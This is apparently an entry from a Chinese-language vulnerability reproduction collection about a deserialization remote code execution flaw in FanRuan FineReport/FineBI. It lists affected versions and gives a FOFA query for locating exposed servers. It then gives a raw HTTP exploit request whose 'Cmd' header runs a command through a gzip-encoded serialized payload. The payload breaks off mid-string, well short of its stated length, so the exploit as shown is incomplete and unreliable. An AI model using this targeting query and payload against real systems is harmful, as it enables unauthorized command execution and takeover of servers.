F17-1帆软-FineReport-反序列化RCE

漏洞描述：

帆软FineReport、FineBI 存在反序列化漏洞，攻击者可向 /webroot/decision/remote/design/channel 接口发送精心构造的反序列化数据，在目标服务器上执行任意代码，获取服务器权限。

影响版本：

```
FineBI  <= V5.1.10
```

网站图片：

网络测绘：

fofa语法：

FOFA：app="帆软-FineReport"

漏洞复现：

payload：

```
POST /webroot/decision/remote/design/channel HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 17531

{{unquote("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\x9cz\x09|T\xd5\xf5\xff\xf7\xbcY\xde\x9b\xc9\xcb6!\x09\x83\x88\x01Y\xb3\x0d\xb2\xa9\x13eIX\x0c$\x01\x0d\x05C\xb4\xf82\
```

效果图: